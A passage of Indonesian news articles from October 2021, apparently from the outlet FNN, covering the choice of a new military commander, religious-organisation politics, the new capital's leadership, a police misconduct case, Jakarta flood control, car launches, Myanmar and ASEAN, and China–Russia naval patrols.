seperti juga isasi-isasi organisasi lainnya harus dicegah dan distop. Kita mesti menguatkan kebersamaan keagamaan dengan membangun sikap toleran dan saling menguatkan. Ashobiyah qaumiyah merupakan tiupan permulaan yang menjadi penyebab dari terjadinya perpecahan. NU yang akan bermuktamar dalam waktu dekat semoga dapat mengokohkan kembali jalan perjuangan dengan berbasis kemitraan keumatan. Lokomotif terpilih adalah figur yang toleran dan tidak radikal. Semoga. *) Pemerhati Politik dan Kebangsaan

Jokowi Galau Pilih Panglima TNI (Bagian-1)

Jakarta, FNN - Presiden Joko Widodo (Jokowi) terlihat lamban dalam menentukan Panglima TNI menggantikan Hadi Tjahjanto yang akan habis masanya pada akhir November 2021. Demikian dikemukakan oleh Selamat Ginting, pengamat komunikasi politik dan militer dari Universitas Nasional (Unas) kepada FNN di Jakarta Senin (25/10/2021). Kandidat doktor ilmu politik ini menegaskan bahwa baru kali ini Presiden Joko Widodo (Jokowi) sangat galau untuk memilih Panglima TNI pengganti Marsekal Hadi Tjahjanto. Dalam Kamus Besar Bahasa Indonesia (KBBI), galau artinya: kacau tidak keruan. Bahkan sampai tepat dua tahun pemerintahan Jokowi periode kedua pada 21 Oktober 2021 ini, ia masih juga galau. Belum menunjukkan kepastian. Hadi tercatat sebagai panglima TNI terlama di era reformasi. Ia menjabat selama empat tahun, kurang satu bulan. Terhitung sejak 8 Desember 2017 hingga 8 November 2021 mendatang. Dari situ bisa disimpulkan Jokowi begitu percaya pada Marsekal Hadi dibandingkan dengan perwira tinggi lainnya yang masih aktif saat ini, baik Kepala Staf Angkatan Darat (KSAD) Jenderal Andika Perkasa, Kepala Staf Angkatan Laut (KSAL) Laksamana Yudo Margono, maupun Kepala Staf Angkatan Udara (KSAU) Marsekal Fadjar Prasetyo. Jadi pendapat Hadi tentu akan bisa mempengaruhi keputusan Jokowi dalam memilih suksesor pengganti Hadi. Jokowi pastilah akan menanyakan siapa yang paling pas menjadi suksesor Hadi. Jawabannya, akan mudah didapat. Hadi lebih cenderung memilih Laksamana Yudo daripada Jenderal Andika. Tentu juga bukan Marsekal Fadjar yang sama-sama dari matra udara. Hal ini tentunya bisa dilihat dari komunikasi interpersonal, baik dari sisi sosiologi komunikasi, maupun psikologi komunikasi. Dalam relasi kuasa antara Hadi dengan Yudo, secara kasat mata bisa dilihat, jauh lebih cair daripada antara Hadi dengan Andika. Mengapa hal itu bisa terjadi? Hanya mereka berdua yang tahu. Padahal keduanya pernah sama-sama membantu Presiden Jokowi di istana. Hadi tentu saja ingin kebijakan dan ‘legacy’-nya bisa diteruskan oleh suksesornya, sehingga ada kesinambungan. Ia tentu tidak ingin bernasib serupa dengan Jenderal Gatot yang kebijakannya dibatalkan dirinya. Bahkan terjadi ‘de-gatot-isasi’. Sehingga Hadi tidak ingin mendapatkan ‘hukum karma’ mendapatkan perlakuan ‘de-hadi-isasi’ seperti dialami Gatot. Dari sinilah kegamangan Jokowi untuk tidak langsung memilih Laksamana Yudo atau Jenderal Andika. Bahkan hingga pas dua tahun usia pemerintahan Jokowi periode kedua (20-21 Oktober 2021), belum juga ada kepastian tentang hal tersebut. Kendati sebelumnya sudah ada jejak utusan istana, yakni Menteri Sekretaris Negara (Mensesneg) Pratikno yang mengunjungi Markas Besar Angkatan Darat (Mabesad) dan bertemu dengan KSAD Jenderal Andika pada Senin (11/10/2021) lalu. Dari sini sebenarnya ada sinyal berdasarkan teori komunikasi tentang interaksi simbolik. Maklum, sebagai orang Jawa, Jokowi senang menggunakan simbol-simbol dalam politik. Ingat, Menteri Pratikno tidak mengunjungi Mabesal kantor Laksamana Yudo maupun Mabesau kantor Marsekal Fadjar. Padahal mereka bertiga merupakan kandidat Panglima TNI. Hal ini karena mereka sudah mencapai bintang empat aktif dan menjadi kepala staf angkatan. Lain halnya bila dalam waktu dekat akan segera ada pergantian kepala staf angkatan. Misalnya, dalam sisa waktu Oktober 2021 ini terjadi pergantian kepala staf angkatan. Maka siapa pun yang akan menjadi kepala staf angkatan mempunyai peluang yang sama besarnya, kendati hanya dalam hitungan satu hari sekali pun. Tapi sinyal kedatangan Menteri Pratikno bisa mentah kembali, karena hingga kini (21 Oktober 2021) pun belum ada pengumuman reshuffle (pergantian) kabinet. Kemungkinan pergantian panglima TNI juga akan terkoneksi dengan reshuffle kabinet. Mengapa? Karena Jokowi tidak akan menelantarkan Marsekal Hadi tanpa jabatan. Hadi diduga kuat akan masuk dalam kabinet kali ini. Kemungkinan akan menjadi menteri perhubungan atau bisa juga sebagai Kepala Staf Presiden (KSP). Sebab Hadi juga pernah bekerja di istana menjadi sekretaris militer presiden. Nah, yang menjadi masalah adalah pesan komunikasi politik apa yang disampaikan Presiden Jokowi melalui Menteri Pratikno kepada Jenderal Andika? Apakah kepastian Andika akan menggantikan Hadi sebagai Panglima TNI? Ataukah justru memberitahukan bahwa Andika tidak akan menjadi Panglima TNI, namun masuk dalam kabinet? Pertarungan politik seperti apa yang terjadi di dalam istana? Rasanya Jokowi pun tidak akan menelantarkan Andika jika akhirnya tidak dipilihnya menjadi Panglima TNI, melainkan sebagai bagian dari kabinet. Entahlah, mungkin sebagai KSP menggantikan Jenderal (Purn) Moeldoko, loyalis SBY yang berbalik menjadi loyalis Jokowi. Menjadi KSP dengan alasan, Andika juga pernah bekerja di lingkungan istana menjadi Komandan Pasukan Pengamanan Presiden (Paspampres). Sampai di sini, Jokowi pun tidak akan menelantarkan Moeldoko. Kemungkinan Moeldoko akan diberikan tempat di kabinet bersama wakil dari Partai Amanat Nasional (PAN). Hal ini kemungkinan juga bersamaan dengan politik Jokowi ‘menggusur’ kubu mantan Wakil Presiden Jusuf Kalla (JK). Misalnya, kemarin (20 Oktober 2021) Jokowi meminta komitmen pembantunya dalam memberantas mafia-mafia tanah. Ini sinyal kuat. Apalagi dilanjutkan hari ini (21 Oktober 2021) Wakil Ketua Komisi II DPR RI dari PDIP, Junimart Girsang mendesak Menteri Agraria dan Tata Ruang/Badan Pertanahan Nasional (ATR/BPN) Sofyan Djalil mengundurkan diri dari jabatannya. Alasannya, hingga kini persoalan perebutan tanah antara pengusaha dan warga di Indonesia tak kunjung selesai. Petunjuk itu mengisyaratkan Sofyan Djalil berpotensi akan dicopot dari posisi menteri. Sofyan dikenal sebagai ‘orangnya’ JK. Dan yang akan menggantikannya, kemungkinan Moeldoko. Pertarungan Politik Kembali ke soal siapa saja orang kuat yang akan pengaruhi Jokowi untuk memilih kandidat Panglima TNI? Jika di awal dikemukakan Jokowi akan meminta pendapat Marsekal Hadi. Walau hak prerogratif presiden, namun kemungkinan Jokowi akan meminta pendapat dari sekurangnya empat tokoh politik di luar Marsekal Hadi. Empat orang tersebut adalah Ketua Umum PDI Perjuangan Megawati Sukarnoputri sebagai pimpinan ‘kandang partai’ dimana Jokowi berada. Alam pikiran politik Megawati, tentu saja berkepentingan terhadap Andika yang punya potensi ke depan untuk dipasangkan dengan anaknya, yakni Puan Maharani dalam pemilihan presiden 2024 mendatang. Andika adalah jenderal aktif yang namanya masuk dalam bursa bakal calon presiden maupun wakil presiden untuk periode 2024. Sementara Marsekal Hadi, namanya sama sekali tidak diperhitungkan dalam sejumlah survey. Purnawirawan militer lainnya yang masuk dalam bursa bakal capres maupun wapres adalah Menteri Pertahanan Prabowo Subianto, yang juga ketua umum Partai Gerindra; kemudian Ketua Umum Partai Demokrat Agus Harimurti Yudhoyono (AHY), dan deklataror Koalisi Aksi Menyelamatkan Indonesia (KAMI) Gatot Nurmantyo (GN). Puan sangat mungkin dipasangkan dengan Prabowo maupun Andika. Namun tidak dengan AHY dan GN sebagai oposisi terhadap pemerintahan Jokowi. Di situlah Megawati berkepentingan terhadap posisi Andika sebagai Panglima TNI atau jabatan lain yang setara di kabinet. Sama dengan ketika Megawati ‘menyelamatkan’ muka Jenderal Polisi Budi Gunawan (BG) yang batal menjadi Kepala Polri, kemudian disubsitusi menjadi Kepala Badan Intelijen Negara (BIN). Bahkan kini BG menjadi Kepala BIN terlama sejak era reformasi. Lima tahun satu bulan, melewati rekor Mayjen (Purn) Syamsir Siregar selama empat tahun 10 bulan. Nama BG pun kini masuk dalam bursa survey bakal capres maupun cawapres 2024. Kembai ke soal tokoh yang akan dimintai pendapat oleh Jokowi. Rasanya tidak mungin Jokowi tidak minta pendapat Menteri Pertahanan Prabowo Subianto. Prabowo juga ketua umum Gerindra, partai tiga besar dalam pemilu 2019 lalu. Panglima TNI mesti terkoneksi dengan Menteri Pertahanan. Menteri Pertahanan memiliki kapasitas selaku menteri bidang alutsista (alat utama sistem senjata) dan industri pertahanan yang memegang amanah untuk mendesain dan menentukan kebijakan strategis pembangunan alutsista TNI. Ada pun Panglima TNI sebagai pengguna kekuatan, dan kepala staf angkatan sebagai pembina kekuatan. Jadi, presiden Jokowi sepantasnya menanyakan masalah ini juga kepada menteri pertahanan. Selain itu juga kemungkinan Jokowi akan menanyakan kepada menteri senior ‘paling kuat’, yakni Luhut Binsar Panjaitan (LBP). Serta ketua dewan pertimbangan presiden, Wiranto. Kebetulan tiga nama yang disebut itu jenderal yang berasal dari matra darat. Sehingga bisa saja memiliki kecenderungan lebih memilih Jenderal Andika daripada Laksamana Yudo maupun Marsekal Fadjar. Andika pun lebih senior daripada Yudo maupun Fadjar. Andika lulusan Akademi Militer (Akmil) 1987, Yudo lulusan Akademi Angkatan Laut (AAL) 1988-A, dan Fadjar lulusan Akademi Angkatan Udara (AAU) 1988-B. Namun masa dinas Andika tinggal satu tahun satu bulan lagi. Hal ini jika dihitung sejak November 2021, saat Hadi berusia 58 tahun. Sedangkan Yudo mempunyai waktu dua tahun lagi. Sedangkan Fadjar masih sekitar 2,5 tahun lagi. Dengan diulur-ulurnya waktu pergantian Panglima TNI, maka sah-sah saja jika ada analisis politik sebagai upaya menjegal Andika menjadi Panglima TNI. Sebab waktu satu tahun dianggap tidak efektif untuk menjalankan tugas sebagai Panglima TNI. Di sinilah peluang Laksamana Yudo lebih terbuka. Bisa jadi dengan alasan inilah Jokowi tidak memilih Andika. Namun bisa juga seperti model Jenderal Polisi Idham Aziz menjadi Kepala Polri pengganti Jenderal Tito Karnavian. Idham hanya sekitar satu tahun dua bulan saja menjadi Kepala Polri. Semua kemungkinan bisa terjadi, tergantung pertarungan politik di istana. Jadi, skenario kuatnya, bisa empat pilihan. Pertama; Andika sebagai Panglima TNI gantikan Hadi dengan waktu singkat, sekitar satu tahun satu bulan saja. Kedua; Yudo langsung menjadi Panglima TNI menggantikan Hadi. Sedangkan Andika ditarik ke kabinet. Ketiga; win-win solutions. Andika menjadi Panglima TNI selama satu tahu satu bulan, kemudian digantikan Yudo sebagai Panglima TNI selanjutnya dengan waktu yang juga tersisa satu tahunan saja. Keempat; pola jalan tengah. Bukan Andika dan bukan Yudo, melainkan tokoh alternatif. Bisa jadi pengganti Andika sebagai KSAD, dengan calon kuat Panglima Kostrad Dudung Abdurachman. Seandainya Dudung menjadi KSAD pada akhir Oktober 2021 ini, maka ia pun berpeluang menjadi Panglima TNI pada November 2021 jelang 58 tahun usia Marsekal Hadi. Sehingga Dudung hanya sepekan saja menjadi KSAD dan langsung lompat menjadi Panglima TNI. Empat skenario itu sangat mungkin terjadi di tengah-tengah pertarungan politik kali ini. Dudung adalah titik pertemuan beberapa kepentingan politik, antara Jokowi, Megawati, Prabowo Subianto, LBP, dan Hadi Tjahjanto. (sws)

Muhammadiyah Tegaskan Indonesia Milik Semua

Jakarta, FNN - Ketua Umum PP Muhammadiyah Haedar Nashir menegaskan bahwa Indonesia termasuk lembaga-lembaga negara merupakan milik semua, bukan dikuasai atau hadiah bagi satu kelompok saja. "Semisal elite negeri yang menyatakan suatu Kementerian Negara lahir diperuntukkan golongan tertentu dan karenanya layak dikuasai oleh kelompoknya. Suatu narasi radikal yang menunjukkan rendahnya penghayatan keindonesiaan," ujar Haedar dikutip dalam laman resmi Muhammadiyah dari Jakarta, Ahad. Haedar mengatakan bahwa Indonesia sudah 76 tahun merdeka. Mestinya, segenap warga dan elite negeri semakin dewasa dalam berbangsa dan bernegara. Namun, kata dia, masih ada saja yang belum beranjak "akil-balig" dalam berbangsa dan bernegara. Negara Republik Indonesia yang susah payah diperjuangkan kemerdekaannya oleh seluruh rakyat dengan segenap jiwa raga, direngkuh menjadi miliknya. "Inilah ironi keindonesiaan. Suatu ironi bernegara yang sejatinya berlawanan arus dengan gempita Aku Pancasila, Aku Indonesia, Aku Bhinneka Tunggal Ika, dan NKRI harga mati. Ironi sebagai bukti, Indonesia ternyata belum menjadi milik semua," kata dia. Ia menjelaskan Indonesia lahir dan hidup untuk seluruh rakyat Indonesia tanpa kecuali. Haedar mengutip pidato Soekarno pada 1 Juni 1945 dalam sidang BPUPKI yang menyatakan bahwa pendirian negara Indonesia adalah untuk semua. "Kita hendak mendirikan suatu negara buat semua. Bukan buat satu orang, bukan buat satu golongan, baik golongan bangsawan maupun golongan yang kaya, tetapi semua buat semua," kata dia mengutip pidato Presiden pertama Republik Indonesia itu. Menurutnya, ketika ada warga atau elite bangsa atau golongan yang mengklaim Indonesia seolah miliknya dan diperuntukkan bagi diri sendiri atau kelompoknya, maka telah keluar dari fondasi yang telah dibangun oleh para pendiri bangsa. "Sama halnya bila muncul asumsi bahwa Negara Indonesia yang tidak dikelola olehnya, maka salah semua. Pandangan, sikap, dan orientasi tindakan yang ironi seperti itu merupakan bentuk disorientasi berbangsa dan bernegara," kata dia. Maka dari itu, ia mengajak semua orang untuk memunculkan jiwa kenegarawanan dalam berbangsa dan bernegara dengan meruntuhkan segala kesombongan diri di atas otoritas Sang Pencipta. "Sebaliknya, mesti dieliminasi segala wujud nafsu duniawi yang melampaui batas. Nabi mengingatkan, jika manusia diberi satu gunung emas, dia akan meminta gunung yang kedua, setelah diberi yang kedua, dia minta gunung emas ketiga. Hanya kematian yang memutus nafsu keserakahan itu," katanya. (sws, ant)

Jokowi Siapkan Ahok sebagai Calon Kepala Ibu Kota Negara Baru

Jakarta, FNN - Pemerintah telah menyiapkan desain awal pembangunan ibu kota baru di Kalimantan Timur (Kaltim) melalui Rancangan Undang-Undang Ibu Kota Negara (RUU IKN). Termasuk untuk pengisian calon pemimpin di ibu kota baru tersebut. Namun pemerintah ingin ibu kota negara baru tidak dipimpin oleh seorang gubernur yang diseleksi lewat pemilihan kepala daerah, tapi oleh Kepala Otorita Ibu Kota Negara. Presiden Joko Widodo (Jokowi) sempat menyinggung beberapa nama calon Kepala Otorita IKN, yakni Basuki Tjahaja Purnama alias Ahok beserta tiga nama lain dengan latar belakang berbeda. Diantaranya Menristek terakhir Bambang Brodjonegoro, pengusaha sapi Tumiyana, hingga Bupati Banyuwangi Azwar Anas. "Namanya kandidat memang banyak. Satu, pak Bambang Brodjonegoro, dua pak Ahok, tiga pak Tumiyana, empat pak Azwar Anas. Cukup," ujar Jokowi, dikutip dari Liputan6, Sabtu (23/10/2021). Merujuk Pasal 9 UU IKN, dituliskan bahwa penunjukan hingga pemberhentian Kepala Otorita IKN hingga sang wakil nantinya bakal jadi wewenang seorang presiden. "Pemerintahan Khusus IKN dipimpin oleh Kepala Otorita IKN dan dibantu oleh seorang Wakil Kepala Otorita IKN yang ditunjuk, diangkat, dan diberhentikan langsung oleh Presiden," bunyi Pasal 9. Adapun Kepala Otorita IKN dan Wakil Kepala Otorita IKN kelak kan memegang jabatan selama 5 tahun terhitung sejak tanggal pelantikan dan sesudahnya, juga dapat ditunjuk dan diangkat kembali dalam masa jabatan yang sama. "Kepala Otorita IKN dan/atau Wakil Kepala Otorita IKN sebagaimana dimaksud dalam Pasal 9 dapat diberhentikan sewaktu-waktu oleh Presiden sebelum masa jabatan sebagaimana dimaksud pada ayat (1) berakhir" tulis Pasal 10 ayat (2). (sws, ant)

Ketua DPD: Arah Perjalanan Bangsa Perlu Dikoreksi

Jakarta, FNN - Ketua DPD RI La Nyalla Mahmud Mattalitti mengatakan bahwa penting bagi elemen bangsa untuk melakukan koreksi atas arah perjalanan bangsa demi perbaikan Indonesia ke depan. “Kita harus berjuang bersama-sama. Kami sudah sangat maksimal di DPD RI untuk menyerap aspirasi dan menyampaikan kepada pemerintah,” kata La Nyalla dalam keterangan tertulis yang diterima di Jakarta, Minggu. Menurut La Nyalla, sudah saatnya seluruh elemen bangsa ikut berkontribusi agar bangsa Indonesia mampu meraih cita-cita bersama sebagaimana yang diinginkan oleh para pendiri negara. Senator asal Jawa Timur ini menekankan bahwa apa yang ia perjuangkan selama ini murni aspirasi dari daerah yang orientasinya adalah kesejahteraan masyarakat di daerah itu sendiri. “Saya sudah berkeliling ke 33 provinsi. Hanya satu saja yang belum, yakni Kalimantan Tengah. Insya Allah dalam waktu dekat kami agendakan,” tutur dia. Melalui kunjungan-kunjungan tersebut, ia mengatakan bahwa DPD menyerap berbagai aspirasi dan menyalurkannya kepada pemerintah. Akan tetapi, Ketua DPD RI ini melanjutkan, DPD RI hanya dapat meneruskan aspirasi kepada pemerintah. Sebab, kewenangan yang dimiliki oleh DPD RI amat terbatas. “DPD RI itu kewenangannya amat terbatas. Kami hanya bisa menyerap dan menyalurkan aspirasi, serta sedapat mungkin kami terus mengkontrol aspirasi tersebut,” ucap La Nyalla. Oleh karena itu, melalui berbagai kunjungan La Nyalla ke masing-masing provinsi, ia menekankan bahwa salah satu upaya yang harus dilakukan oleh berbagai elemen Indonesia untuk mengubah keterbatasan tersebut adalah dengan melakukan perbaikan sistem ketatanegaraan Indonesia. “Bagaimana caranya? Ya, melalui amendemen kelima konstitusi,” kata La Nyalla. Pernyataan tersebut ia sampaikan saat melakukan kunjungan kerja ke Padepokan Perguruan Pencak Silat Padjajaran Pusat di Jalan Karang Nunggal, Kampung Adawarna, Desa Sinarjaya, Kecamatan Sukaraja, Kabupaten Tasikmalaya, Jawa Barat, Minggu. Guru Besar sekaligus Ketua Umum Padepokan Perguruan Pencak Silat Padjajaran Raden Haji Sani Wijaya Nata Kusumah menyatakan dukungannya terhadap usulan La Nyalla. Ia mendoakan agar apa yang dicita-citakan oleh La Nyalla akan berhasil. “Kami mendukung dan mendoakan apa yang dicita-citakan tercapai. Sebagai pemimpin, Bapak harus amanah dan memperjuangkan kepentingan rakyat,” kata Raden. (sws, ant)

Anak Buah Terlibat Asusila Kapolda Sulteng Akhirnya Minta Maaf

Kota Palu, FNN - Kepala Kepolisian Daerah (Kapolda) Sulawesi Tengah, Irjen Pol Rudy Sufahriadi, meminta maaf kepada seluruh masyarakat Sulteng, terkait kasus asusila yang menjerat anggotanya. Pernyataan Kapolda itu menyusul tindakan dugaan asusila yang dilakukan oleh anggotanya, eks kapolsek di Kabupaten Parigi Moutong (Parimo), berinisial Iptu IDGN. “Selaku Kapolda Sulteng saya menyampaikan permohonan maaf saya kepada masyarakat karena masih ada anggota yang melakukan pelanggaran disiplin,” kata Rudy di Palu, Minggu. Baca juga: Kepala Polsek di Parigi Moutong dipecat berdasarkan sidang etik Rudy menegaskan, sesuai dengan instruksi Kapolri untuk menindak dan memberikan hukuman tegas kepada anggota Polri yang melakukan kesalahan maupun pelanggaran hukum lainnya. “Sesuai dengan instruksi Kapolri, kita tidak boleh ragu-ragu untuk menindak dan memberikan hukuman,” tegas Rudy. Kata Rudy, pemberian sanksi hukum juga berlaku untuk semua anggota yang terbukti melakukan kesalahan maupun pelanggaran hukum lainnya. “Kami akan tegas menangani anggota yang terbukti salah,” sebutnya. “Kita sudah datang ke rumah korban untuk meyakinkan bahwa saya akan profesional menangani anggota yang salah,” tambahnya. Sebelumnya, sidang kode etik terhadap oknum Kapolsek di Kabupaten Parigi Moutong yang diduga melakukan tindakan asusila digelar, Sabtu (23/10). Dari hasil sidang tersebut, kapolsek berpangkat Iptu itu dinyatakan melanggar etik dan direkomendasikan untuk pemberhentian tidak dengan hormat atau dipecat. Kapolsek berinisial IDGN telah terbukti melakukan perbuatan sebagaimana dimaksud dalam pasal 13 dan pasal 14 ayat (1) huruf b Peraturan Pemerintah Republik Indonesia No.1 tahun 2003 tentang Pemberhentian anggota Polri. Dan pasal 7 ayat (1) huruf b dan pasal 11 huruf c Peraturan Kapolri No.14 tahun 2011 tentang Kode Etik Profesi Polri. Namun, dari putusan yang merekomendasikan untuk dilakukan pemecatan, Iptu IGDN akan melakukan banding. "Terhadap putusan rekomendasi PTDH tersebut Iptu IDGN menyatakan banding," jelas Kapolda Sulteng. Sebelum putusan sidang etik itu, eks kapolsek Iptu IDGN tersebut telah dibebastugaskan dari jabatannya sejak 15 Oktober 2021 dan digantikan dengan pejabat sementara. Iptu IDGN terlibat kasus asusila dengan seorang remaja perempuan berinisial S yang berdomisili di Kabupaten Parimo. IDGN diduga memanfaatkan jabatannya dan berjanji kepada S akan membebaskan ayahnya yang terjerat kasus pidana pencurian hewan ternak jika menuruti keinginannya. Hingga perbuatan tersebut dilakukan, IDGN tidak kunjung membebaskan ayah S. (sws, ant)

NU tidak Boleh Semena-mena Berkuasa Atas Kementerian Agama

Jakarta, FNN - Nahdlatul Ulama (NU) tidak boleh semena-mena berkuasa atau merasa ada hak khusus atas Kementerian Agama (Kemenag). Sebab, kementerian tersebut bukanlah kado dari negara kepada NU atau umat Islam semata. "Akan tetapi, Kemenag merupakan hadiah bagi semua agama," kata Sekretaris Jenderal Pengurus Besar Nahdlatul ULama (PBNU), Helmy Faishal Zaini dalam pernyataannya, di Jakarta, Ahad, 24 Oktober 2021. Helmy mengatakan hal itu menanggapi pernyataan Menteri Agama Yaqut Cholil Qoumas yang menyebutkan, Kemenag merupakan hadiah negara bagi NU. Pernyataan itu disampaikan Menag saat Webinar beberapa hari lalu. "Pertama, Kemenag hadiah negara bagi semua agama, bukan hanya untuk NU atau hanya terhadap umat Islam," ujar Helmy. Menurut Helmy, NU punya peran besar dalam menghapus tujuh kata dalam Piagam Jakarta. Namun, tidak berarti NU boleh semena-mena berkuasa atas Kementerian Agama ataupun merasa ada hak khusus. Bahkan, peran NU jauh sebelum kemerdekaan telah meletakkan pesantren sebagai pilar pembentuk karakter mental bangsa yang bertumpu kepada akhlaqul karimah. "Meski demikian, NU tidak memiliki motivasi agar menguasai ataupun memiliki semacam privilege dalam pengelolaan kekuasaan dan pemerintahan. Sebab, NU adalah jamiyyah diniyah ijtimaiyyah (organisasi keagamaan dan kemasyarakatan)," kata dia, sebagaimana dikutip dari Antara. ​​​​​ Pada dasarnya, kata dia, semua elemen sejarah bangsa punya peran strategis dalam pendirian NKRI (Negara Kesatuan Republik Indonesia), melahirkan Pancasila, UUD 1945 dalam keanekaragaman suku, ras, agama, dan golongan yang dibalut Bhinneka Tunggal Ika. Helmy menjelaskan, prinsip bagi NU adalah siapa saja boleh memimpin dan berkuasa dengan landasan kepemimpinan harus melahirkan kesejahteraan dan kemaslahatan. "Dengan segala hormat dan kerendahan hati, tentang pernyataan Pak Menteri Agama tentu itu hak beliau. Meskipun saya pribadi dapat menyatakan, komentar tersebut tidak pas dan kurang bijaksana dalam perspektif membangun spirit kenegarawanan," katanya.​​​ (MD)​

DKI Jakarta Klaim Telah Lakukan Langkah Strategis Pengendalian Banjir

Jakarta, FNN - Pemerintah Provinsi DKI Jakarta mengklaim telah melakukan langkah strategis pengendalian banjir menghadapi musim hujan melalui sejumlah program gerebek lumpur. Pernyataan klaim tersebut disampaikan Asisten Pemerintahan Sekretariat Daerah Provinsi DKI Jakarta, Sigit Wijatmoko, melelaui keterangannya di Jakarta, Minggu. Menurut Sigit Wijatmoko, antisipasi potensi banjir di DKI Jakarta pada tahun ini dilakukan lebih cepat dari tahun sebelumnya. Misalnya, banjir pada 20 Februari 2021, karena hujan ekstrim yang curah hujannya mencapai 226 mm/hari yang melampaui kapasitas drainase di Jakarta. "Dampak dari hujan ekstrim itu, 49 RT di Jakarta mengalami banjir," katanya. Sigit menyatakan, antisipasi banjir menghadapi musim hujan pada akhir tahun 2021 ini sudah jauh lebih siap dari tahun-tahun sebelumnya. "Hujan deras yang turun bisa ditangani dengan cepat, sehingga tidak terjadi banjir," katanya. Antisipasi banjir itu dilakukan Pemprov DKI Jakarta melalui program gerebek lumpur, yakni melakukan pengerukan selokan, kali, situ, hingga waduk. "Program lainnya adalah, membuat olak-olakan, memperbaiki saluran air, mengintensifkan instalasi sumur resapan vertikal," katanya. Pemprov DKI Jakarta juga mengimplementasikan program "blue and green" yaitu taman yang menjadi kawasan tampungan air sementara saat intensitas hujan tinggi, penyediaan alat pengukur curah hujan, dan perbaikan pompa. Antisipasi lainya adalah, dengan menyiagakan pompa sepanjang tahun di 178 lokasi rumah pompa. Ada 457 pompa stasioner di dekat sungai, waduk, maupun pintu air, serta ada 282 unit pompa mobile atau portabel yang tersebar di lima wilayah DKI Jakarta Jakarta "Pemprov DKI Jakarta juga mendatangkan tambahan pompa mobile sebanyak 40 unit," ujarnya. Sigit menambahkan, Pemprov DKI Jakarta juga menambahkan ruang terbuka hijau (RTH) sebagai kawasan serapan air hujan dengan target ada tambahan 12 taman baru pada tahun ini, untuk melengkapi 57 taman maju bersama (TMB) yang sudah ada. Ada pula taman grande, yakni merevitalisasi taman-taman yang sudah ada, misalnya Taman Tebet yang saat ini dalam proses dikerjakan, dan salah satu RTH lainnya adalah Hutan Mangrove di Jakarta Utara. (mth)

Deretan Mobil Baru Diperkirakan Meluncur di GIIAS 2021

Jakarta, FNN - Ajang pameran otomotif Gabungan Industri Kendaraan Bermotor Indonesia International Auto Show (GIIAS) 2021 akan diselenggarakan pada 11 hingga 21 November 2021 di ICE, Bumi Serpong Damai (BSD) City, Tangerang, Banten. Sebanyak 24 jenama (merek) kendaraan dipastikan akandipamerkan dalam acara tahunan itu, termasuk mobil penumpang dan komersial. Salah satu hal yang paling dinantikan para pecinta otomotif di setiap penyelenggaraan GIIAS adalah peluncuran mobil baru, tidak terkecuali pada gelaran bulan depan. Berbagai mobil baru dirumorkan akan meluncur. Mulai dari kendaraan segmen multi purpose vehicle (MPV), sport utility vehicle (SUV), hingga kendaraan listrik. Berikut deretan mobil baru yang antara lain diperkirakan akan meluncur di ajang GIIAS 2021. Toyota Toyota diperkirakan akan meluncurkan mobil segmen MPV andalannya Avanza generasi terbaru di GIIAS 2021. Hal tersebut tidak terlepas dari banyaknya sejumlah bocoran dari media sosial tentang kendaaran anyar tersebut. Salah satunya, informasi mengenai penggunaan roda penggerak depan. Daihatsu Saudara kembar Avanza, yakni Daihatsu Xenia generasi terbaru juga diyakini akan dirilis di salah satu pameran otomotif terbesar di Tanah Air itu. Xenia terbaru dikabarkan menggunakan platform Daihatsu New Global Architecture (DNGA) dan berpenggerak roda depan. Honda Usai meluncurkan BR-V terbaru belum lama ini, Honda masih akan menghadirkan mobil terbaru di Tanah Air. Honda telah mengonfirmasi akan menggelar world premiere di GIIAS tahun ini. Akan tetapi, belum diketahui mobil apa yang akan dihadirkan. Kabar yang berkembang menyebutkan, Honda akan merilis HR-V dan Civic terbaru Mitsubishi Mitsubishi diperkirakan juga akan merilis mobil anyar di GIIAS 2021. Rumor yang beredar, pabrikan berlogo Tiga Berlian itu akan meluncurkan Xpander terbaru. Kabar tersebut diperkuat dengan beredarnya gambar yang diduga Mitsubishi Xpander terbaru di media sosial beberapa waktu lalu. Isuzu Isuzu telah mengonfirmasi akan menghadirkan dua kendaraan baru di GIIAS 2021. Pabrikan asal Jepang itu akan menggelar Indonesia premiere untuk dua mobil, yaitu All New Isuzu D-Max dan All New Isuzu MU-X. (MD}.

Myanmar Janji Lebih Kooperatif Soal Rencana Perdamaian ASEAN

Bangkok, FNN - Junta militer Myanmar pada Minggu berjanji akan bertindak kooperatif "sebisa mungkin" dalam melaksanakan rencana perdamaian yang disepakatinya dengan ASEAN. Janji tersebut diutarakan Myanmar kendati negara itu mendapat teguran keras dari ASEAN, yang telah memutuskan menolak kehadiran pemimpin junta pada KTT ASEAN pekan ini. Dalam pengumuman yang disampaikan media negara, Minggu, junta mengatakan pihaknya menjunjung prinsip hidup berdamping dengan negara-negara lain. Junta juga menyatakan akan bekerja sama dengan Perhimpunan Bangsa-Bangsa Asia Tenggara itu dalam menindaklanjuti lima butir "konsensus" yang mereka sepakati pada April. Konsensus itu didukung oleh China dan negara-negara Barat. Para menteri luar negeri ASEAN pada 15 Oktober menolak kehadiran Ming Aung Hlaing, pemimpin militer Myanmar yang melakukan kudeta pada 1 Februari, karena dianggap gagal melaksanakan rencana perdamaian yang telah disepakati. Konsensus mencakup penghentian permusuhan, membuka dialog, memberi akses bagi bantuan kemanusiaan, serta memberi akses penuh di Myanmar bagi utusan khusus ASEAN. Junta pada Jumat (22/10) malam memukul balik dengan menuduh ASEAN melanggar prinsip-prinsip soal konsensus dan soal sikap tidak mencampuri urusan dalam negeri para anggotanya. Junta menolak menyetujui pengiriman perwakilan politik dari Myanmar selain Min Aung Hlaing. Ketua ASEAN saat ini, Brunei, belum mengomentari penolakan tersebut. (mth)

Kapal Perang China, Rusia Patroli Bersama Pertama Kali di Pasifik

Moskow, FNN - Kapal perang China dan Rusia mengikuti patroli bersama untuk pertama kalinya di bagian barat Laut Pasifik dalam sepekan terakhir, menurut pernyataan kementerian pertahanan Rusia pada Sabtu. Langkah tersebut dikatakan turut dimonitor oleh Jepang. Moskow dan Beijing, yang mengadakan latihan dalam kerangka kerja sama angkatan laut di Laut Jepang pada awal Oktober telah memupuk hubungan militer dan diplomatik yang lebih erat dalam beberapa tahun terakhir, di tengah hubungan mereka dengan Barat yang memburuk. Pergerakan angkatan laut, yang dikatakan Rusia berlangsung dari Minggu hingga Sabtu, telah dipantau secara dekat oleh Jepang, yang mengatakan pada awal pekan bahwa satu kelompok berisi 10 kapal dari China dan Rusia telah berlayar melalui Selat Tsugaru yang memisahkan daratan utama Jepang dengan pulau Hokkaido. “Kumpulan kapal-kapal itu melewati Selat Tsugaru untuk pertama kalinya sebagai bagian dari patroli,” kata 